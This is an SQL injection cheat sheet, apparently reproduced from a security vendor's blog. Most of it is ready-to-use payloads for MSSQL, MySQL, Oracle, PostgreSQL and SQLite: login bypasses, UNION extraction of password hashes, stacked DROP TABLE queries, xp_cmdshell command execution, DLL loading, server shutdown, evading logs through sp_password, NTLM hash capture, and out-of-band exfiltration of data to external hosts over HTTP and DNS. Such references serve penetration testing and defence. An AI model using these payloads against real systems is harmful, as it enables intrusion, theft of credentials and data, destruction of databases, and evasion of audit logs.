SQL injection 101: Injecting comments to manipulate queries

Source: https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/

Line comments

Put a line comment at the end to comment out the rest of the query. Line comments are typically used to ignore the rest of the original query so you don't need to worry about ensuring valid syntax after the injection point.

- `--` (SMPOL)
  `DROP sampletable;--`
- `#` (M)
  `DROP sampletable;#`

A common example is logging in as admin:

- Injection into the `username` parameter with a single quote: `admin'--`
- `SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'`
  If successful, this will log you as the admin user because the rest of the SQL query after `--` will be ignored.

Inline comments

You can use inline comments to comment out the rest of a query as with line comments (by simply not closing the comment). They are also useful for manipulating characters to bypass filtering/blacklisting, remove spaces, and obfuscate queries. In MySQL, you can use its special comment syntax to detect the database and version.

Generic SQL comment syntax is:

- `/*Comment Here*/` (SMPOL)

Typical uses of inline comments:

- Obfuscation: `DROP/*comment*/sampletable`
- Breaking up a keyword to avoid filters: `DR/**/OP/*bypass blacklisting*/sampletable`
- Removing space characters:
  `SELECT/*avoid-spaces*/password/**/FROM/**/Members`

For MySQL only, you can use special comment syntax:

- `/*! MYSQL special comment format */` (M)

This special comment syntax is perfect for detecting that MySQL is being used because any instructions you put in this comment will only execute in MySQL. You can even use this to detect the version. The following example will execute and generate an error only is the server uses MySQL in the specified version or later:

```
SELECT /*!80027 1/0, */ 1 FROM tablename
```

Copy

Classic inline comment SQL injection attack samples

- ID value: `10; DROP TABLE members /*`
  Simply get rid of other stuff at the end the of query. Same as `10; DROP TABLE members --`
- `SELECT /*!80027 1/0, */ 1 FROM tablename`
  Will throw an division by 0 error if MySQL version is higher than 8.0.27

MySQL version detection sample attacks

- ID value: `/*!80027 10*/`
- ID value: `10`
  You will get the same response if MySQL version is higher than 8.0.27
- `SELECT /*!80027 1/0, */ 1 FROM tablename`
  Will throw a division by 0 error if MySQL version is higher than 8.0.27

Stacking queries

Stacking means executing more than one query in one transaction. This technique can be very useful but only works for some combinations of database server and access method:

- `;` (MSP)
  `SELECT * FROM members; DROP members--`

When successful, this will end one query and start another one.

Note that results from the second query (and any additional queries) are *not* returned to the application. You need to use blind SQL injection methods to confirm that the second query is working, such as a delay, DNS query, etc.

Stacked SQL injection attack samples

- ID value: `10;DROP members --`
- `SELECT * FROM products WHERE id = 10; DROP members--`

This will run *DROP members* SQL sentence after normal SQL Query.

If statements

Get response based on an `IF` statement. This is one of the key techniques for Blind SQL Injection. Also very useful to test simpler things blindly yet accurately.

MySQL If statement

- `IF(condition,true-part,false-part)` (M)
  `SELECT IF(1=1,'true','false')`

SQL Server If statement

- `IF condition true-part ELSE false-part` (S)
  `IF (1=1) SELECT 'true' ELSE SELECT 'false'`

Oracle If statement

- `BEGIN`
  `IF condition THEN true-part; ELSE false-part; END IF; END;` (O)
  `IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;`

PostgreSQL If statement

- `SELECT CASE WHEN condition THEN true-part ELSE false-part END;` (P)
  `SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END;`

SQLite If statement

- `iif(condition, true-part, false-part)` (L)
  `SELECT iif(1<2, "True", "False");`

If statement SQL injection attack samples

`if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0` (S)
This will throw a divide by zero error if the user currently logged in is not `sa` or `dbo`.

Using integers

Very useful for bypassing `magic_quotes()` and similar filtering/escaping techniques, including web application firewall (WAF) filters.

- `0x`*`HEXNUMBER`* (SM)

You can use hex values in queries like this:

- `SELECT CHAR(0x66)` (S)
- `SELECT 0x5045` (M) (*this is not an integer but a string based on the hex value…*)
- `SELECT 0x50 + 0x45` (M) (*… but this is now an integer!*)
  You can use this technique in comparisons, for example: `' OR 0x20 + 0x10 = 0x30 -- -`

String operations

String-related operations can be useful for building up injections that do not use any quotes, bypassing blacklisting, or determining the type of back-end database.

String concatenation

- `+` (S)
  ```
  SELECT login + '-' + password FROM members
  ```
- `||` (*MO)
  ```
  SELECT login || '-' || password FROM members
  ```

Note that for MySQL, the above example will only work if MySQL is running in ANSI mode. Otherwise, MySQL will treat `||` as a logical operator and return 0. A better way it to use the `CONCAT()` function in MySQL:

- `CONCAT(str1, str2, str3, ...)` (M)
  Concatenate supplied strings.
  ```
  SELECT CONCAT(login, password) FROM members
  ```

Strings without quotes

Apart from a few direct ways of specifying strings, you can always use `CHAR()` (MS) and `CONCAT()` (M) to generate a string without quotes.

String from a hex representation

- `0x457578` (M): Return a string based on the hex representation
  `SELECT 0x457578`
  This will be selected as a string in MySQL.
- Here's an easy trick to generate hex representations of strings in MySQL:
  `SELECT CONCAT('0x',HEX('c:\\boot.ini'))`

Using string functions
All these examples return the string `KLM`:

- `SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))` (M)
- `SELECT CHAR(75)+CHAR(76)+CHAR(77)` (S)
- `SELECT CHR(75)||CHR(76)||CHR(77)` (O)
- `SELECT (CHaR(75)||CHaR(76)||CHaR(77))` (P)

Hex-based SQL injection example

- `SELECT LOAD_FILE(0x633A5C626F6F742E696E69)` (M)
  This will show the content of *c:\boot.ini*

String utility functions

- `ASCII()` (SMPO)
  Returns the ASCII character value of the leftmost character, which is especially useful for blind SQL injections.
  `SELECT ASCII('a')`
- `CHAR()` (SM)
  Returns a character based on its ASCII value.
  `SELECT CHAR(64)`
- `CHR()` (P)
  Returns a character based on its ASCII value.
  `SELECT CHR(64)`

UNION-based injections

With the `UNION` statement, you can run cross-table SQL queries. Basically, by injecting `UNION`, you can poison a query to return records from another table.

```
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
```

This query will combine results from the `news` and `members` tables and return all of them.

One sample payload might be:

```
' UNION SELECT 1, 'anotheruser', 'any string', 1--
```

Dealing with language issues in UNION injections

While exploiting `UNION` injections, you can sometimes get errors because of different language settings (different locales in table settings, field settings, or combined table and database settings). It's not a common problem, but you can run into it when dealing with applications that store data in different encodings. Here are a few tricks to deal with it:

- SQL Server (S)
  Use *`fieldname`* `COLLATE SQL_Latin1_General_Cp1254_CS_AS` (or another valid collation method, check the SQL Server documentation for details)
  Example: `SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members`
- MySQL (M)
  Use `Hex()` to deal with any encoding issues

Bypassing login screens (SMO+)

SQL injection 101—here are some typical login tricks that you can use with form fields and parameters:

- `admin' --`
- `admin' #`
- `admin'/*`
- `' or 1=1--`
- `' or 1=1#`
- `' or 1=1/*`
- `') or '1'='1--`
- `') or ('1'='1--`

Another trick is to log in as a different user (SM*):

```
' UNION SELECT 1, 'anotheruser', 'any string', 1--
```

Bypassing login screens that use hashed passwords

Very few applications still store passwords in plain text. If you want to bypass authentication by supplying your own password with a `UNION` query, you will need to hash the password before replacing it. Many hashing algorithms exist, but for simplicity, the examples below use the mostly obsolete MD5 algorithm.

An application may verify login credentials by first getting the user record based on the username and then checking if the hash of the input password value is correct. You can `UNION` results with a known password and the MD5 hash of this password. The application will then

compare your password and your supplied MD5 hash instead of the hash value from the database.

Example of bypassing an MD5 hash check (MSP)
Username: `admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'`
Password: `1234`

```
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
```

Error-based ways to discover column information

Finding column names using HAVING and GROUP BY (error-based) (S)

Try the following payloads in the specified order:

- `' HAVING 1=1 --` (triggers error 1)
- `' GROUP BY table.columnfromerror1 HAVING 1=1 --` (triggers error 2)
- `' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --` (triggers error 3)
- …
- `' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --`

Once you are not getting any more errors, you are done.

Finding the number of columns in a SELECT query using ORDER BY (MSO+)

Finding the number of columns using `ORDER BY` can speed up the `UNION` SQL injection process. Try the following payloads:

- `ORDER BY 1--`
- `ORDER BY 2--`
- …
- `ORDER BY N--`

Keep going until you get an error, which means you have found the number of columns being selected.

Tips and tricks for error-based UNION injections

- Always use `UNION` with `ALL` because you can have similar non-distinct field types. By default, `UNION` tries to get distinct records.
- To get rid of unwanted records from the left-side table in a join, you can use `-1` or any non-existent record search at the beginning of your query (only when injecting into the `WHERE` clause). This can be necessary if you are only getting one result at a time.
- For most data types, you can use `NULL` in `UNION` injections instead of trying to guess if the column is a string, date, integer etc.

In blind injection situations, make sure you always check if the error is coming from the database or from the application itself. Some languages (like ASP.NET) tend to generally throw errors when dealing with `NULL` values (mostly because developers are not expecting to process `NULL` in a field like username.)

Ways of finding the column type

Use the `sum()` function to provoke errors from non-numeric types:

- `' UNION SELECT sum(columntofind) from users--` (S)

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or
average aggregate operation cannot take a varchar data type
as an argument.
```

If you are *not* getting an error, it means the column is numeric.

You can also use `cast()` or `convert()` in a similar way, for example:

- `SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--`
- `11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 --`
  No error—the syntax is correct and MS SQL Server is used. Proceeding.
- `11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 --`
  No error—we now know the first column is an integer.
- `11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --`

  ```
  Microsoft OLE DB Provider for SQL Server error '80040e07'
  Explicit conversion from data type int to image is not
  allowed.
  ```

  Error! The second column is not an integer.
- `11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 --`
  No error—the second column is a string.

- `11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 --`
  Error! The third column is not an integer…

Rinse and repeat until you have all the column types mapped out.

You will get `convert()` errors before `UNION` target errors, so remember to start with `convert()` and only then do `UNION`.

Simple INSERT payload

While `SELECT` statements are normally preferred for testing as non-destructive, an `INSERT` injection into a user table can allow you to add a new user, hopefully with elevated permissions:

`'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*` (MSO+)

Database version discovery

- `@@version` (MS)
  Gives you the database version and other information for SQL Server. This is a constant, so you can just select it like any other column (you don't need to supply the table name). You can also use `@@version` in `INSERT` and `UPDATE` statements as well as in functions:
  ```
  INSERT INTO members(id, user, pass) VALUES(1,
  ''+SUBSTRING(@@version,1,10) ,10)
  ```
- `version()` (P)
  ```
  UNION SELECT NULL, version(), NULL
  ```
- `sqlite_version()` (L)
  ```
  UNION SELECT NULL,sqlite_version(),NULL;
  ```
- `PRODUCT_COMPONENT_VERSION` table (O)
  ```
  SELECT version FROM PRODUCT_COMPONENT_VERSION WHERE product
  LIKE 'Oracle Database%';
  ```

Bulk insert from a file (S)

Inserting the content of a file into a table lets you browse local files when you only have database access. If you are dealing with a particularly old version of IIS (up to and including IIS6), if you don't know the internal path of a web application, you can read the IIS metabase file at *%systemroot%\system32\inetsrv\MetaBase.xml*, load it into a table, and then search in it to identify the application path.

To browse the content of a file, you can use:

```
CREATE TABLE foo( line varchar(8000) ) BULK INSERT foo FROM
'c:\inetpub\wwwroot\login.asp'
```

Copy

You can then drop the temp table and repeat for another file.

SQL Server utilities

The bcp (Bulk Copy Program) utility (S)

Using bcp, you can load files into a table or write table data to a file. Login credentials are required to use this utility.

```
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp
-c -Slocalhost -Usa -Pfoobar
```

Using VBS and WSH scripting (S)

ActiveX support in SQL Server lets you use Visual Basic Script (VBS) and Windows Script Host (WSH) scripting. Take this sample shell script:

```
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
```

To inject this into a username field, use a payload like:

```
'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec
sp_oamethod @o, 'run', NULL, 'notepad.exe' --
```

SQL Server stored procedures

Executing system commands using xp_cmdshell (S)

This is a well-known trick for command injection, but it has two crucial requirements:

1. It's disabled by default in SQL Server 2005, so you need to enable it first (see below).
2. You need to have admin access to enable it.

Typical payload to get the command prompt:

```
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
```

A simple ping check can be useful to see if you're in (you'll first need to set up a firewall or sniffer to identify the request):

```
EXEC master.dbo.xp_cmdshell 'ping example.com'
```

Note that you can't directly read the results of this `EXEC` from an error, `UNION` query, or similar.

Enabling xp_cmdshell in SQL Server 2005 (S)

By default, `xp_cmdshell` and several other potentially dangerous stored procedures are disabled in SQL Server 2005. Once you have admin access, you can enable these procedures as follows:

```
EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
```

Performing registry operations in SQL Server (S)

Stored procedures are available to perform various registry operations. Some of these are undocumented and may change over time:

- `xp_regaddmultistring`
- `xp_regdeletekey`
- `xp_regdeletevalue`
- `xp_regenumkeys`
- `xp_regenumvalues`
- `xp_regread`
- `xp_regremovemultistring`
- `xp_regwrite`

Sample payloads to read values from a registry path:

```
exec xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
```

Other useful stored procedures for SQL Server (S)

- Managing services: `xp_servicecontrol`
- Listing storage media: `xp_availablemedia`
- Listing ODBC resources: `xp_enumdsn`
- Managing the login mode: `xp_loginconfig`
- Creating CAB files: `xp_makecab`
- Listing domains: `xp_ntsec_enumdomains`
- Process termination (you need to know the PID): `xp_terminate_process`
- Writing an HTML file to a UNC or internal path: `sp_makewebtask`

You can also use `sp_addextendedproc` to add a new procedure, which basically lets you execute arbitrary code:

```
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver
```

Useful system views in SQL Server (S)

- Error messages: `master..sysmessages`
- Linked servers: `master..sysservers`
- Logins and passwords (note that SQL Server 2000 and 2005 both use a similar and crackable algorithm for hashing passwords)
    - SQL Server 2000: `masters..sysxlogins`
    - SQL Server 2005: `sys.sql_logins`

Handy techniques for further MSSQL exploitation

- Get detailed information about the currently running process:
  `SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/`
- Check if a command was successful by triggering an error condition depending on the return code:
  `DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0`
- Get the host name of the SQL server:
  `HOST_NAME()`
- Check if a user is member of a specific group:
  `IS_MEMBER` (Transact-SQL)
- Checks if a user has a specific role:
  `IS_SRVROLEMEMBER` (Transact-SQL)
- Open remote connections to another server:
  `OPENDATASOURCE` (Transact-SQL)
  `OPENROWSET` (Transact-SQL)

Remember that you cannot use sub-selects in SQL Server `INSERT` queries.

SQL injection into LIMIT (M) or ORDER (MSO)

```
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10
;
```

Copy

If injecting into the second limit value, you can comment it out or use it in your `UNION` injection.

Shut down SQL Server (S)

This can occasionally be useful. To shut down the database server, inject: `';shutdown --`

Finding and manipulating the database structure in SQL Server (S)

Getting user-defined tables (S)

Use the `sysobjects` system table (older versions) or `sys.objects` view (newer versions):

```
SELECT name FROM sysobjects WHERE xtype = 'U' SELECT TOP 1 name FROM
sys.objects WHERE type = 'U'
```

Copy

Getting column names (S)

Use the `syscolumns` and `sysobjects` system tables (older versions) or `sys.columns` and `sys.objects` views (newer versions):

```
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE
name = 'tablenameforcolumnnames')
```

Copy

Moving records (S)

A very effective technique is to modify `WHERE` and use the `NOT IN` or `NOT EXIST` clause:

```
... WHERE users NOT IN ('First User', 'Second User') SELECT TOP 1 name
FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)
```

Copy

Or you can resort to some dirty tricks for column enumeration:

```
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (
SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name
from sysobjects o) as p where p.x=3) as int as p where p.x=3) as int
```

Copy

```
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i
WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype
= 'U') as p where p.x=21
```

Copy

Error-based SQL injections in SQL Server: A fast way to extract data (S)

Here's a sample payload that combines variables and system table queries to extract data into a temporary table (use `syscolumns` and `sysobjects` for older version and `sys.columns` and `sys.objects` for newer versions):

```
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM
syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS')
AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;-- ';BEGIN DECLARE @rt
varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM sys.columns WHERE
id =(SELECT id FROM sys.objects WHERE name = 'MEMBERS') AND name>@rd
SELECT @rd AS rd into TMP_SYS_TMP end;--
```

Copy

Finding the database structure in MySQL (M)

Getting user-defined tables (M)

```
SELECT table_name FROM information_schema.tables WHERE table_schema =
'databasename'
```

Copy

Getting column names (M)

```
SELECT table_name, column_name FROM information_schema.columns WHERE
table_name = 'tablename'
```

Copy

Finding the database structure in Oracle (O)

Getting user-defined tables (O)

```
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
```

Copy

Getting column names (O)

```
SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'
```

Copy

Blind SQL injections

In any decent production application, you generally cannot see any error responses on the page. This rules out extracting data directly through error-based attacks. In these cases, you have to use blind SQL injections to extract the data. There are two basic kinds of blind SQL injections:

- Normal blind injections: You cannot see the response directly on the page, but you can still determine the result of a query based on a response or HTTP status code.
- Totally blind injections: You cannot see the effects of your injection in any kind of output. This is less common, for example when you're injecting into a logging function or similar.

In normal blind injections, you can use `IF` statements or abuse `WHERE` clauses in queries, which is generally the easier route. For totally blind injections, you need to use some kind of wait function and then analyze the response times.

Examples of available wait/timeout functions include:

- `WAITFOR DELAY '0:0:10'` in SQL Server
- `BENCHMARK()` and `sleep(10)` in MySQL
- `pg_sleep(10)` in PostgreSQL

For Oracle, there are some PL/SQL tricks you can use for the same effect.

Real-life example of an automatable blind SQL injection attack

This output is taken from a real private blind SQL injection tool while exploiting SQL Server back-ended application and enumerating table names. These requests are done for first character of the first table name. The SQL queries are a bit more complex then necessary to allow for automation. Through this series of injections, we are trying to determine the ASCII value of a character using a binary search algorithm. In effect, we're asking a series of yes/no questions about value ranges.

The following series of queries was executed to track down the first character (where TRUE and FALSE flags indicate the logical result of each query):

```
TRUE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>78-- FALSE: SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>103-- TRUE: SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) FALSE: SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89-- TRUE: SELECT ID,
Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT
TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0
name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) FALSE: SELECT ID,
Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT
TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0
name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83-- TRUE: SELECT ID,
Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT
TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0
name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) FALSE: SELECT ID,
Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT
TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0
name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80-- FALSE: SELECT ID,
Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT
TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0
name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
```

Copy

Since the last two queries both failed, we now know that 80 is the ASCII value of the first character of the table name, so the table name starts with the letter P. In this way, you can exploit blind SQL injections using a binary search algorithm. Another well-known way is to read data one bit at a time. Both methods can be effective in different conditions. If you can get direct feedback, it's enough to go through a fixed list of possible characters. If your only indication of

success are differing response times or if the application is slow, you can use an algorithm like the one above.

Ways of making databases wait or sleep for blind SQL injection attacks

You should only use time-based payloads for totally blind injections. For normal blind injections, it's better to just use boolean-based methods (like error-based true/false tests) to identify the difference in responses.

Be careful if using times longer than 20–30 seconds because the database API connection or script can time out.

WAITFOR DELAY (S)

This is just like a sleep command—a CPU-safe way to make the database wait for a specified time.

```
WAITFOR DELAY '0:0:10'--
```

You can also use fractional time values, though in general, longer waiting times are less sensitive to variations in server load or available bandwidth:

```
WAITFOR DELAY '0:0:0.51'
```

Sample payloads with WAITFOR DELAY

- Checking if we're the system administrator:
  `if (select user) = 'sa' waitfor delay '0:0:10'`
- Different ways of injecting a delay into something like `WHERE ProductID = '1'`. Instead of just the expected integer, we can try injecting:
  - `1;waitfor delay '0:0:10'--`
  - `1);waitfor delay '0:0:10'--`
  - `1';waitfor delay '0:0:10'--`
  - `1');waitfor delay '0:0:10'--`
  - `1));waitfor delay '0:0:10'--`
  - `1'));waitfor delay '0:0:10'--`

BENCHMARK() (M)

The BENCHMARK() function is intended for timing performance when executing some expression a specified number of times. We can abuse it for time-based attacks to make MySQL wait a bit. Because this function consumes CPU cycles, be careful you don't use up the entire web server resource limit. It's best to start with lower values and increase them gradually just until you get stable results.

```
BENCHMARK(how-many-repeats, expression-to-execute)
```

Copy

Sample payloads with BENCHMARK()

- Are we root? Woot! Let's celebrate with a billion hashes:
  `IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))`
- Checking if a table exists:
  `IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))`

pg_sleep() (P)
Sleep for the specified time in seconds:

- `SELECT pg_sleep(10);`
  Sleep for 10 seconds.

sleep() (M)
Sleep for the specified time in seconds:

- `SELECT sleep(10);`
  Sleep 10 seconds.

dbms_pipe.receive_message() (O)
Sleep for the specified time in seconds:

- `(SELECT CASE WHEN (NVL(ASCII(SUBSTR((your-injected-query-here),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)`
  If the condition is true, the response will arrive after 10 seconds. If it is false, the delay will be only one second.

How SQL injection attacks can be hidden from logs

SQL Server log bypass using sp_password (S)

For security reasons, SQL Server doesn't log queries that include the function `sp_password` (used for changing passwords). This can be abused to prevent certain queries from being logged by the database server—simply appending `--sp_password` to an SQL query is enough to bypass logging. Note that the request will still appear in web server logs if injecting into a `GET` parameter (but not `POST`).

Tests to check if SQL injection is possible

Here are some quick checks to determine if blind SQL injections are possible:

- Trying to inject into `product.asp?id=4` (SMO):
  - `product.asp?id=5-1` (returns the result for `id=4`)
  - `product.asp?id=4 OR 1=1`
- Trying to inject into `product.asp?name=Book`:
  - `product.asp?name=Bo'%2b'ok`
  - `product.asp?name=Bo' || 'ok` (only MO)
  - `product.asp?name=Book' OR 'x'='x`

Tips and tricks for working with MySQL

- Working with users:
  - `SELECT User,Password FROM mysql.user;`
  - `SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';`
  - `SELECT ... INTO DUMPFILE` (Writes the query result into a new file—cannot modify existing files)
  - `SELECT USER();`
  - `SELECT password,USER() FROM mysql.user;`
- Abusing user-defined functions (UDF):
  - `create function LockWorkStation returns integer soname 'user32';`
    `select LockWorkStation();`
    `create function ExitProcess returns integer soname 'kernel32';`
    `select exitprocess();`
- Getting the first byte of the admin password hash:
  - `SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;`
- Reading a file:
  - `query.php?user=1+union+select+load_file(0x63...),1`
- Populating a table from a file using `LOAD DATA INFILE` (not available in a default config, you first need to enable the setting `local_infile`):
  - `CREATE TABLE foo( line blob );`
    `LOAD DATA INFILE 'c:/boot.ini' INTO TABLE foo;`
    `SELECT * FROM foo;`

- More timing-based tricks for MySQL:
  - `select benchmark( 500000, sha1( 'test' ) );`
  - `query.php?user=1+union+select+benchmark(500000,sha1(0x414141)),1`
  - `select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );`
  - Brute-force enumeration:
    ```
    select if( (ascii(substring(user(),1,1)) >> 7) & 1,
    benchmark(100000,sha1('test')), 'false' );
    ```

Useful MySQL functions

- `MD5()`
- `SHA1()`
- `PASSWORD()`
- `ENCODE()`
- `COMPRESS()`: Useful for compressing data, especially when reading large binaries via blind SQL injections.
- `ROW_COUNT()`
- `SCHEMA()`
- `VERSION()`: Same as `@@version`

Second-order SQL injections

With a second-order SQL injection, your injected payload is stored somewhere by the application and then used somewhere, hopefully unfiltered because SQL injection wasn't expected in that place. This is a common hidden layer problem.

Say you have an application that lets you create some kind of user account. You can try this injection into the name field:

Name: `' + (SELECT TOP 1 password FROM users ) + '`
Email: `xx@xx.com`

With this payload, if the application uses the name field value in an unsafe stored procedure, function, or process, it will store the first user's password as your name.

Forcing SQL Server to get NTLM hashes

This attack can help you get the SQL Server user's Windows password for the target server when your inbound connection is firewalled. This can be very useful during internal penetration tests.

The trick is to force SQL Server to connect to your Windows UNC share and then capture NTLM session data with a tool like Cain & Abel.

Bulk insert from a UNC Share (S)

You can bulk insert data not only from a file but also from a UNC share, which is useful here:

```
BULK INSERT foo FROM '\\your-ip-address\C$\x.txt'
```

Copy

Out-of-band channel attacks

An out-of-band (OOB) SQL injection is done when you need to exfiltrate data through a different channel than you used for the injection. DNS is one of the most common out-of-band channels because DNS requests are rarely blocked.

Out-of-band injections for SQL Server

Both examples will send a DNS resolution request to *YOUR-INJECTION-HERE.example.com*:

- `?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', (`*`YOUR-INJECTION-HERE`*`)+'.example.com';'sa';'pwd', 'SELECT 1')`
- `?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+(`*`YOUR-INJECTION-HERE`*`)+'.example.com\\test.txt'; EXEC master..xp_dirtree @q`

Out-of-band injections for MySQL (Windows)

The next two payloads attempt to reach UNC shares, so they can only work on Windows operating systems (Linux does not natively support or resolve these). Additionally, this only works if the `secure_file_priv` setting is set to an empty string.

- Sends a NBNS query request/DNS resolution request to *YOUR-INJECTION-HERE.yourhost.com*: `?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',(`*`YOUR-INJECTION-HERE`*`), 'example.com\\')))`

- Writes data to your shared folder or file:
  `?vulnerableParam=-99 OR (SELECT (YOUR-INJECTION-HERE) INTO OUTFILE '\\\\example.com\\share\\output.txt')`

Out-of-band injections for Oracle

- Sending results to your logger application:
  `?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/log.php?response='||(YOUR-INJECTION-HERE)||'') FROM DUAL)`
- Saving results in your HTTP access logs:
  `?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/'||(YOUR-INJECTION-HERE)||'.html') FROM DUAL)`
- Two ways of sending results in DNS resolution requests (that you can log) to *yourhost.com*:
  `?vulnerableParam=(SELECT UTL_INADDR.get_host_addr((YOUR-INJECTION-HERE)||'.example.com') FROM DUAL)`
  `?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT((YOUR-INJECTION-HERE)||'.example.com',80) FROM DUAL)`

SQL injection vulnerability classifications and severities

Classification	ID / Severity
PCI DSS 3.2	6.5.1
PCI DSS 4.0	6.2.4
OWASP 2013	A1
OWASP 2017	A1

CWE	89
CAPEC	66
WASC	19
HIPAA	164.306(a), 164.308(a)
ISO27001	A.14.2.5
ASVS 4.0	5.3.4
NIST SP 800-53	SI-10
DISA STIG	V-16807
OWASP API 2019	API8
OWASP Top 10 2021	A03
CVSS 3.0 Score	

Base	10 (Critical)
Temporal	10 (Critical)
Environmental	10 (Critical)

CVSS 3.0 Vector String
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVSS 3.1 Score	
Base	10 (Critical)
Temporal	10 (Critical)
Environmental	10 (Critical)

CVSS 3.1 Vector String
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVSS 4.0 Score	
Base	9.3 (Critical)
Exploitability	8.9 (High)
Complexity	8.9 (High)
Vulnerable system	8.9 (High)
Subsequent system	0.1 (Low)
